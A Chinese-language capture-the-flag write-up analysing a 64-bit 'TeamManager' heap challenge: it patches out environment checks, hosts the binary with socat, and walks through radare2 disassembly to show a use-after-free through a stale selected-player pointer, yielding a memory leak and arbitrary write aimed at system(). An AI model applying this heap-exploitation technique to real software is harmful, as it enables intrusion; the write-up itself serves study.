题目复现

这个题目给出了二进制文件和 libc。

$ file main.bin 
main.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
$ checksec -f main.bin 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               10      main.bin

64 位程序,保护措施除了 PIE 都开启了。

但其实这个程序并不能运行,它是一个线下赛的题目,会对做一些环境检查和处理,直接 nop 掉就好了:

|           0x004021ad      bf18264000     mov edi, 0x402618
|           0x004021b2      e87ceeffff     call sym.background_process
|           0x004021b7      bf39050000     mov edi, 0x539              ; 1337
|           0x004021bc      e85eefffff     call sym.serve_forever
|           0x004021c1      8945f8         mov dword [local_8h], eax
|           0x004021c4      8b45f8         mov eax, dword [local_8h]
|           0x004021c7      89c7           mov edi, eax
|           0x004021c9      e8c6f0ffff     call sym.set_io
$ python2 -c 'print "90"*33' > nop.txt
[0x00400ec0]> s 0x004021ad
[0x004021ad]> cat ./nop.txt 
909090909090909090909090909090909090909090909090909090909090909090
[0x004021ad]> wxf ./nop.txt

最后把它运行起来:

socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc.so.6 ./main.elf" &

题目解析

玩一下,一看就是堆利用的题目:

$ ./main.elf 
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

程序就是添加、删除、编辑和显示球员信息。但要注意的是在编辑和显示球员前,需要先选择球员,这一点很重要。

添加两个球员看看:

Your choice: 1
Found free slot: 0
Enter player name: aaaa
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 1
Enter player name: bbbb
Enter attack points: 5
Enter defense points: 6
Enter speed: 7
Enter precision: 8

试着选中第一个球员,然后删除它:

Your choice: 3
Enter index: 0
Player selected!
        Name: aaaa
        A/D/S/P: 1,2,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
She's gone!

接下来直接显示该球员信息:

Your choice: 5
        Name: 
        A/D/S/P: 29082240,0,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 6
Your team: 
Player 0
        Name: bbbb
        A/D/S/P: 5,6,7,8

奇怪的事情发生了,程序没有提醒我们球员不存在,而是直接读取了内存中的信息。

于是我们猜测,程序在 free 球员时没有将 select 的值置空,导致了 use-after-free 的问题。关于 UAF 已经在前面的章节中讲过了。

很明显,每个球员都是一个下面这样的结构体:

struct player {
    int32_t attack_pts;
    int32_t defense_pts;
    int32_t speed;
    int32_t precision;
    char *name;
}

静态分析

先来看一下添加球员的过程,函数 sym.add_player

[0x00400ec0]> pdf @ sym.add_player 
/ (fcn) sym.add_player 789
|   sym.add_player ();
|           ; var int local_11ch @ rbp-0x11c
|           ; var int local_118h @ rbp-0x118
|           ; var int local_110h @ rbp-0x110
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402235 (main + 148)
|           0x00401801      55             push rbp
|           0x00401802      4889e5         mov rbp, rsp
|           0x00401805      4881ec200100.  sub rsp, 0x120
|           0x0040180c      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401815      488945f8       mov qword [local_8h], rax
|           0x00401819      31c0           xor eax, eax
|           0x0040181b      48c785e8feff.  mov qword [local_118h], 0
|           0x00401826      c785e4feffff.  mov dword [local_11ch], 0    ; player 编号初始值为 0
|       ,=< 0x00401830      eb07           jmp 0x401839
|       |      ; JMP XREF from 0x00401853 (sym.add_player)
|      .--> 0x00401832      8385e4feffff.  add dword [local_11ch], 1    ; 编号加 1
|      :|      ; JMP XREF from 0x00401830 (sym.add_player)
|      :`-> 0x00401839      83bde4feffff.  cmp dword [local_11ch], 0xa ; [0xa:4]=-1 ; 10
|      :,=< 0x00401840      7713           ja 0x401855
|      :|   0x00401842      8b85e4feffff   mov eax, dword [local_11ch]
|      :|   0x00401848      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|      :|   0x00401850      4885c0         test rax, rax
|      `==< 0x00401853      75dd           jne 0x401832
|       |      ; JMP XREF from 0x00401840 (sym.add_player)
|       `-> 0x00401855      83bde4feffff.  cmp dword [local_11ch], 0xb ; [0xb:4]=-1 ; 11
|       ,=< 0x0040185c      751e           jne 0x40187c
|       |   0x0040185e      bf70244000     mov edi, str.Maximum_number_of_players_reached ; 0x402470 ; "Maximum number of players reached!"
|       |   0x00401863      e818f4ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401868      488b05f11820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x0040186f      4889c7         mov rdi, rax
|       |   0x00401872      e849f5ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      ,==< 0x00401877      e984020000     jmp 0x401b00
|      ||      ; JMP XREF from 0x0040185c (sym.add_player)
|      |`-> 0x0040187c      8b85e4feffff   mov eax, dword [local_11ch]
|      |    0x00401882      89c6           mov esi, eax
|      |    0x00401884      bf93244000     mov edi, str.Found_free_slot:__d ; 0x402493 ; "Found free slot: %d\n"
|      |    0x00401889      b800000000     mov eax, 0
|      |    0x0040188e      e86df4ffff     call sym.imp.printf         ; int printf(const char *format)
|      |    0x00401893      488b05c61820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x0040189a      4889c7         mov rdi, rax
|      |    0x0040189d      e81ef5ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |    0x004018a2      bf18000000     mov edi, 0x18               ; 24
|      |    0x004018a7      e804f5ffff     call sym.imp.malloc         ;  void *malloc(size_t size) ; 第一个 malloc,给 player 结构体分配空间
|      |    0x004018ac      488985e8feff.  mov qword [local_118h], rax  ; 返回地址 rax -> [local_118h]
|      |    0x004018b3      4883bde8feff.  cmp qword [local_118h], 0
|      |,=< 0x004018bb      751e           jne 0x4018db
|      ||   0x004018bd      bfa8244000     mov edi, 0x4024a8
|      ||   0x004018c2      e8b9f3ffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x004018c7      488b05921820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      ||   0x004018ce      4889c7         mov rdi, rax
|      ||   0x004018d1      e8eaf4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ,===< 0x004018d6      e925020000     jmp 0x401b00
|     |||      ; JMP XREF from 0x004018bb (sym.add_player)
|     ||`-> 0x004018db      488b85e8feff.  mov rax, qword [local_118h]
|     ||    0x004018e2      ba18000000     mov edx, 0x18               ; 24
|     ||    0x004018e7      be00000000     mov esi, 0
|     ||    0x004018ec      4889c7         mov rdi, rax
|     ||    0x004018ef      e82cf4ffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|     ||    0x004018f4      bfbb244000     mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: "
|     ||    0x004018f9      b800000000     mov eax, 0
|     ||    0x004018fe      e8fdf3ffff     call sym.imp.printf         ; int printf(const char *format)
|     ||    0x00401903      488b05561820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|     ||    0x0040190a      4889c7         mov rdi, rax
|     ||    0x0040190d      e8aef4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ||    0x00401912      488d85f0feff.  lea rax, rbp - 0x110
|     ||    0x00401919      ba00010000     mov edx, 0x100              ; 256
|     ||    0x0040191e      be00000000     mov esi, 0
|     ||    0x00401923      4889c7         mov rdi, rax
|     ||    0x00401926      e8f5f3ffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|     ||    0x0040192b      488d85f0feff.  lea rax, rbp - 0x110
|     ||    0x00401932      be00010000     mov esi, 0x100              ; 256
|     ||    0x00401937      4889c7         mov rdi, rax
|     ||    0x0040193a      e884fbffff     call sym.readline
|     ||    0x0040193f      488d85f0feff.  lea rax, rbp - 0x110         ; 读入字符串到 rbp - 0x110
|     ||    0x00401946      4889c7         mov rdi, rax
|     ||    0x00401949      e852f3ffff     call sym.imp.strlen         ; size_t strlen(const char *s) ; player.name 长度
|     ||    0x0040194e      4883c001       add rax, 1                   ; 长度加 1
|     ||    0x00401952      4889c7         mov rdi, rax
|     ||    0x00401955      e856f4ffff     call sym.imp.malloc         ;  void *malloc(size_t size) ; 第二个 malloc,给 player.name 分配空间
|     ||    0x0040195a      4889c2         mov rdx, rax                 ; 返回地址 rax -> rdx
|     ||    0x0040195d      488b85e8feff.  mov rax, qword [local_118h]  ; player 结构体 [local_118h] -> rax
|     ||    0x00401964      48895010       mov qword [rax + 0x10], rdx  ; player.name 存放到 [rax + 0x10]
|     ||    0x00401968      488b85e8feff.  mov rax, qword [local_118h]
|     ||    0x0040196f      488b4010       mov rax, qword [rax + 0x10] ;
|     ||    0x00401973      4885c0         test rax, rax
|     ||,=< 0x00401976      7523           jne 0x40199b
|     |||   0x00401978      bfcf244000     mov edi, str.Could_not_allocate ; 0x4024cf ; "Could not allocate!"
|     |||   0x0040197d      b800000000     mov eax, 0
|     |||   0x00401982      e879f3ffff     call sym.imp.printf         ; int printf(const char *format)
|     |||   0x00401987      488b05d21720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|     |||   0x0040198e      4889c7         mov rdi, rax
|     |||   0x00401991      e82af4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    ,====< 0x00401996      e965010000     jmp 0x401b00
|    ||||      ; JMP XREF from 0x00401976 (sym.add_player)
|    |||`-> 0x0040199b      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x004019a2      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 到 rax
|    |||    0x004019a6      488d95f0feff.  lea rdx, rbp - 0x110         ; 取出 payler.name 字符串地址到 rdx
|    |||    0x004019ad      4889d6         mov rsi, rdx                 ; rdx -> rsi
|    |||    0x004019b0      4889c7         mov rdi, rax                 ; rax -> rdi
|    |||    0x004019b3      e8b8f2ffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src) ; 将字符串复制到 player.name 指向的地址
|    |||    0x004019b8      bfe3244000     mov edi, str.Enter_attack_points: ; 0x4024e3 ; "Enter attack points: "
|    |||    0x004019bd      b800000000     mov eax, 0
|    |||    0x004019c2      e839f3ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x004019c7      488b05921720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x004019ce      4889c7         mov rdi, rax
|    |||    0x004019d1      e8eaf3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x004019d6      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x004019dd      be04000000     mov esi, 4
|    |||    0x004019e2      4889c7         mov rdi, rax
|    |||    0x004019e5      e8d9faffff     call sym.readline            ; 读入 attack_pts
|    |||    0x004019ea      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x004019f1      4889c7         mov rdi, rax
|    |||    0x004019f4      e847f4ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x004019f9      89c2           mov edx, eax
|    |||    0x004019fb      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a02      8910           mov dword [rax], edx         ; 将 attack_pts 写入 local_118h
|    |||    0x00401a04      bff9244000     mov edi, str.Enter_defense_points: ; 0x4024f9 ; "Enter defense points: "
|    |||    0x00401a09      b800000000     mov eax, 0
|    |||    0x00401a0e      e8edf2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401a13      488b05461720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401a1a      4889c7         mov rdi, rax
|    |||    0x00401a1d      e89ef3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401a22      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a29      be04000000     mov esi, 4
|    |||    0x00401a2e      4889c7         mov rdi, rax
|    |||    0x00401a31      e88dfaffff     call sym.readline            ; 读入 defense_pts
|    |||    0x00401a36      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a3d      4889c7         mov rdi, rax
|    |||    0x00401a40      e8fbf3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401a45      89c2           mov edx, eax
|    |||    0x00401a47      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a4e      895004         mov dword [rax + 4], edx     ; 将 defense_pts 写入 local_118h + 4
|    |||    0x00401a51      bf10254000     mov edi, str.Enter_speed:   ; 0x402510 ; "Enter speed: "
|    |||    0x00401a56      b800000000     mov eax, 0
|    |||    0x00401a5b      e8a0f2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401a60      488b05f91620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401a67      4889c7         mov rdi, rax
|    |||    0x00401a6a      e851f3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401a6f      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a76      be04000000     mov esi, 4
|    |||    0x00401a7b      4889c7         mov rdi, rax
|    |||    0x00401a7e      e840faffff     call sym.readline            ; 读入 speed
|    |||    0x00401a83      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a8a      4889c7         mov rdi, rax
|    |||    0x00401a8d      e8aef3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401a92      89c2           mov edx, eax
|    |||    0x00401a94      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a9b      895008         mov dword [rax + 8], edx     ; 将 speed 写入 local_118 + 8
|    |||    0x00401a9e      bf1e254000     mov edi, str.Enter_precision: ; 0x40251e ; "Enter precision: "
|    |||    0x00401aa3      b800000000     mov eax, 0
|    |||    0x00401aa8      e853f2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401aad      488b05ac1620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401ab4      4889c7         mov rdi, rax
|    |||    0x00401ab7      e804f3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401abc      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401ac3      be04000000     mov esi, 4
|    |||    0x00401ac8      4889c7         mov rdi, rax
|    |||    0x00401acb      e8f3f9ffff     call sym.readline            ; 读入 precision
|    |||    0x00401ad0      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401ad7      4889c7         mov rdi, rax
|    |||    0x00401ada      e861f3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401adf      89c2           mov edx, eax
|    |||    0x00401ae1      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401ae8      89500c         mov dword [rax + 0xc], edx   ; 将 precision 写入 local_118h + 0xc
|    |||    0x00401aeb      8b85e4feffff   mov eax, dword [local_11ch]  ; player 编号
|    |||    0x00401af1      488b95e8feff.  mov rdx, qword [local_118h]  ; player 结构体
|    |||    0x00401af8      488914c58031.  mov qword [rax*8 + obj.players], rdx ; [0x603180:8]=0 ; 当前 player 结构体地址写入 rax*8 + obj.players
|    |||       ; JMP XREF from 0x00401996 (sym.add_player)
|    |||       ; JMP XREF from 0x004018d6 (sym.add_player)
|    |||       ; JMP XREF from 0x00401877 (sym.add_player)
|    ```--> 0x00401b00      488b45f8       mov rax, qword [local_8h]
|           0x00401b04      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401b0d      7405           je 0x401b14
|       |   0x00401b0f      e8acf1ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401b0d (sym.add_player)
|       `-> 0x00401b14      c9             leave
\           0x00401b15      c3             ret

该函数会做一些基本的检查,如球员最大数量等,然后开始添加球员的过程。根据我们的分析,obj.players 应该是一个全局数组,用于存放所有球员的地址。

[0x00400ec0]> is~players
vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT name=players

当球员添加完成后,就将其结构体地址添加到这个数组中。球员的选择过程就是通过这个数组完成的。

下面是选择球员的过程,函数 sym.select_player

[0x00400ec0]> pdf @ sym.select_player 
/ (fcn) sym.select_player 214
|   sym.select_player ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x0040224d (main + 172)
|           0x00401c05      55             push rbp
|           0x00401c06      4889e5         mov rbp, rsp
|           0x00401c09      4883ec20       sub rsp, 0x20
|           0x00401c0d      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401c16      488945f8       mov qword [local_8h], rax
|           0x00401c1a      31c0           xor eax, eax
|           0x00401c1c      bf30254000     mov edi, str.Enter_index:   ; 0x402530 ; "Enter index: "
|           0x00401c21      b800000000     mov eax, 0
|           0x00401c26      e8d5f0ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401c2b      488b052e1520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401c32      4889c7         mov rdi, rax
|           0x00401c35      e886f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401c3a      488d45f0       lea rax, rbp - 0x10
|           0x00401c3e      be04000000     mov esi, 4
|           0x00401c43      4889c7         mov rdi, rax
|           0x00401c46      e878f8ffff     call sym.readline            ; 读入球员编号
|           0x00401c4b      488d45f0       lea rax, rbp - 0x10
|           0x00401c4f      4889c7         mov rdi, rax
|           0x00401c52      e8e9f1ffff     call sym.imp.atoi           ; int atoi(const char *str)
|           0x00401c57      8945ec         mov dword [local_14h], eax   ; 编号 eax -> [local_14h]
|           0x00401c5a      837dec0a       cmp dword [local_14h], 0xa  ; [0xa:4]=-1 ; 10
|       ,=< 0x00401c5e      7710           ja 0x401c70
|       |   0x00401c60      8b45ec         mov eax, dword [local_14h]
|       |   0x00401c63      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|       |   0x00401c6b      4885c0         test rax, rax
|      ,==< 0x00401c6e      751b           jne 0x401c8b
|      ||      ; JMP XREF from 0x00401c5e (sym.select_player)
|      |`-> 0x00401c70      bf3e254000     mov edi, str.Invalid_index  ; 0x40253e ; "Invalid index"
|      |    0x00401c75      e806f0ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x00401c7a      488b05df1420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x00401c81      4889c7         mov rdi, rax
|      |    0x00401c84      e837f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |,=< 0x00401c89      eb3a           jmp 0x401cc5
|      ||      ; JMP XREF from 0x00401c6e (sym.select_player)
|      `--> 0x00401c8b      8b45ec         mov eax, dword [local_14h]   ; 取出编号 [local_14h] -> eax
|       |   0x00401c8e      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|       |   0x00401c96      488905d31420.  mov qword [obj.selected], rax ; [0x603170:8]=0 ; 将地址写入 [obj.selected]
|       |   0x00401c9d      bf58254000     mov edi, str.Player_selected ; 0x402558 ; "Player selected!"
|       |   0x00401ca2      e8d9efffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401ca7      488b05b21420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x00401cae      4889c7         mov rdi, rax
|       |   0x00401cb1      e80af1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|       |   0x00401cb6      488b05b31420.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出球员地址
|       |   0x00401cbd      4889c7         mov rdi, rax                 ; rax -> rdi
|       |   0x00401cc0      e8c6faffff     call sym.show_player_func    ; 调用函数 sym.show_player_func 打印出球员信息
|       |      ; JMP XREF from 0x00401c89 (sym.select_player)
|       `-> 0x00401cc5      488b45f8       mov rax, qword [local_8h]
|           0x00401cc9      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401cd2      7405           je 0x401cd9
|       |   0x00401cd4      e8e7efffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401cd2 (sym.select_player)
|       `-> 0x00401cd9      c9             leave
\           0x00401cda      c3             ret

对象 obj.selected 是一个全局变量,用于存放选择的球员编号。

[0x00400ec0]> is~selected
vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT name=selected

选中球员之后,打印球员信息的操作就是通过从 obj.selected 中获取球员地址实现的。

下面是删除球员的过程,函数 sym.delete_player

[0x00400ec0]> pdf @ sym.delete_player 
/ (fcn) sym.delete_player 239
|   sym.delete_player ();
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402241 (main + 160)
|           0x00401b16      55             push rbp
|           0x00401b17      4889e5         mov rbp, rsp
|           0x00401b1a      4883ec20       sub rsp, 0x20
|           0x00401b1e      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401b27      488945f8       mov qword [local_8h], rax
|           0x00401b2b      31c0           xor eax, eax
|           0x00401b2d      bf30254000     mov edi, str.Enter_index:   ; 0x402530 ; "Enter index: "
|           0x00401b32      b800000000     mov eax, 0
|           0x00401b37      e8c4f1ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401b3c      488b051d1620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401b43      4889c7         mov rdi, rax
|           0x00401b46      e875f2ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401b4b      488d45f0       lea rax, rbp - 0x10
|           0x00401b4f      be04000000     mov esi, 4
|           0x00401b54      4889c7         mov rdi, rax
|           0x00401b57      e867f9ffff     call sym.readline            ; 读入球员编号
|           0x00401b5c      488d45f0       lea rax, rbp - 0x10
|           0x00401b60      4889c7         mov rdi, rax
|           0x00401b63      e8d8f2ffff     call sym.imp.atoi           ; int atoi(const char *str)
|           0x00401b68      8945e4         mov dword [local_1ch], eax   ; 编号 eax -> [local_1ch]
|           0x00401b6b      837de40a       cmp dword [local_1ch], 0xa  ; [0xa:4]=-1 ; 10
|       ,=< 0x00401b6f      7710           ja 0x401b81
|       |   0x00401b71      8b45e4         mov eax, dword [local_1ch]
|       |   0x00401b74      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|       |   0x00401b7c      4885c0         test rax, rax
|      ,==< 0x00401b7f      751b           jne 0x401b9c
|      ||      ; JMP XREF from 0x00401b6f (sym.delete_player)
|      |`-> 0x00401b81      bf3e254000     mov edi, str.Invalid_index  ; 0x40253e ; "Invalid index"
|      |    0x00401b86      e8f5f0ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x00401b8b      488b05ce1520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x00401b92      4889c7         mov rdi, rax
|      |    0x00401b95      e826f2ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |,=< 0x00401b9a      eb53           jmp 0x401bef
|      ||      ; JMP XREF from 0x00401b7f (sym.delete_player)
|      `--> 0x00401b9c      8b45e4         mov eax, dword [local_1ch]   ; 取出编号 [local_1ch] -> eax
|       |   0x00401b9f      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|       |   0x00401ba7      488945e8       mov qword [local_18h], rax   ; 将球员地址 rax 放入 [local_18h]
|       |   0x00401bab      8b45e4         mov eax, dword [local_1ch]   ; 取出编号 [local_1ch] -> eax
|       |   0x00401bae      48c704c58031.  mov qword [rax*8 + obj.players], 0 ; [0x603180:8]=0 ; 将 players 数组中的对应值置零
|       |   0x00401bba      488b45e8       mov rax, qword [local_18h]   ; 将球员地址 [local_18h] 放回 rax
|       |   0x00401bbe      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 指向的字符串
|       |   0x00401bc2      4889c7         mov rdi, rax                 ; 字符串地址 rax -> rdi
|       |   0x00401bc5      e886f0ffff     call sym.imp.free           ; void free(void *ptr)   ; 调用函数 free 释放球员名字
|       |   0x00401bca      488b45e8       mov rax, qword [local_18h]   ; 将球员地址 [local_18h] 放回 rax
|       |   0x00401bce      4889c7         mov rdi, rax                 ; 球员地址 rax -> rdi
|       |   0x00401bd1      e87af0ffff     call sym.imp.free           ; void free(void *ptr)   ; 调用函数 free 释放球员结构体
|       |   0x00401bd6      bf4c254000     mov edi, str.She_s_gone     ; 0x40254c ; "She's gone!"
|       |   0x00401bdb      e8a0f0ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401be0      488b05791520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x00401be7      4889c7         mov rdi, rax
|       |   0x00401bea      e8d1f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|       |      ; JMP XREF from 0x00401b9a (sym.delete_player)
|       `-> 0x00401bef      488b45f8       mov rax, qword [local_8h]
|           0x00401bf3      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401bfc      7405           je 0x401c03
|       |   0x00401bfe      e8bdf0ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401bfc (sym.delete_player)
|       `-> 0x00401c03      c9             leave
\           0x00401c04      c3             ret

该函数首先释放掉球员的名字,然后释放掉球员的结构体。却没有对 obj.selected 做任何修改,而该对象中存放的是选中球员的地址,这就存在一个逻辑漏洞,如果我们在释放球员之前选中该球员,则可以继续使用这个指针对内存进行操作,即 UAF 漏洞。

最后看一下显示球员信息的过程,函数 sym.show_player

[0x00400ec0]> pdf @ sym.show_player
/ (fcn) sym.show_player 99
|   sym.show_player ();
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402265 (main + 196)
|           0x004020b4      55             push rbp
|           0x004020b5      4889e5         mov rbp, rsp
|           0x004020b8      4883ec10       sub rsp, 0x10
|           0x004020bc      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004020c5      488945f8       mov qword [local_8h], rax
|           0x004020c9      31c0           xor eax, eax
|           0x004020cb      488b059e1020.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|           0x004020d2      4885c0         test rax, rax
|       ,=< 0x004020d5      751b           jne 0x4020f2
|       |   0x004020d7      bfe8254000     mov edi, str.No_player_selected_index ; 0x4025e8 ; "No player selected index"
|       |   0x004020dc      e89febffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004020e1      488b05781020.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x004020e8      4889c7         mov rdi, rax
|       |   0x004020eb      e8d0ecffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      ,==< 0x004020f0      eb0f           jmp 0x402101
|      ||      ; JMP XREF from 0x004020d5 (sym.show_player)
|      |`-> 0x004020f2      488b05771020.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|      |    0x004020f9      4889c7         mov rdi, rax                 ; 球员地址 rax -> rdi
|      |    0x004020fc      e88af6ffff     call sym.show_player_func    ; 调用函数 sym.show_player_func 打印出球员信息
|      |       ; JMP XREF from 0x004020f0 (sym.show_player)
|      `--> 0x00402101      488b45f8       mov rax, qword [local_8h]
|           0x00402105      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x0040210e      7405           je 0x402115
|       |   0x00402110      e8abebffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x0040210e (sym.show_player)
|       `-> 0x00402115      c9             leave
\           0x00402116      c3             ret

在该函数中,也未检查选中球员是否还存在,这就导致了信息泄露。

函数 sym.edit_player 可以调用函数 sym.set_name 修改 player name,但其也不会对 selected 的值做检查,配合上信息泄露,可以导致任意地址写。

[0x00400ec0]> pdf @ sym.set_name
/ (fcn) sym.set_name 281                                                                                                                                                              
|   sym.set_name ();
|           ; var int local_128h @ rbp-0x128
|           ; var int local_120h @ rbp-0x120
|           ; var int local_18h @ rbp-0x18
|              ; CALL XREF from 0x00402058 (sym.edit_player + 101)
|           0x00401cdb      55             push rbp
|           0x00401cdc      4889e5         mov rbp, rsp
|           0x00401cdf      53             push rbx
|           0x00401ce0      4881ec280100.  sub rsp, 0x128
|           0x00401ce7      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401cf0      488945e8       mov qword [local_18h], rax
|           0x00401cf4      31c0           xor eax, eax
|           0x00401cf6      bf69254000     mov edi, str.Enter_new_name: ; 0x402569 ; "Enter new name: "
|           0x00401cfb      b800000000     mov eax, 0
|           0x00401d00      e8fbefffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401d05      488b05541420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401d0c      4889c7         mov rdi, rax
|           0x00401d0f      e8acf0ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401d14      488d85e0feff.  lea rax, rbp - 0x120
|           0x00401d1b      be00010000     mov esi, 0x100              ; 256
|           0x00401d20      4889c7         mov rdi, rax
|           0x00401d23      e89bf7ffff     call sym.readline            ; 读入修改的字符串,即 system 的地址
|           0x00401d28      488d85e0feff.  lea rax, rbp - 0x120
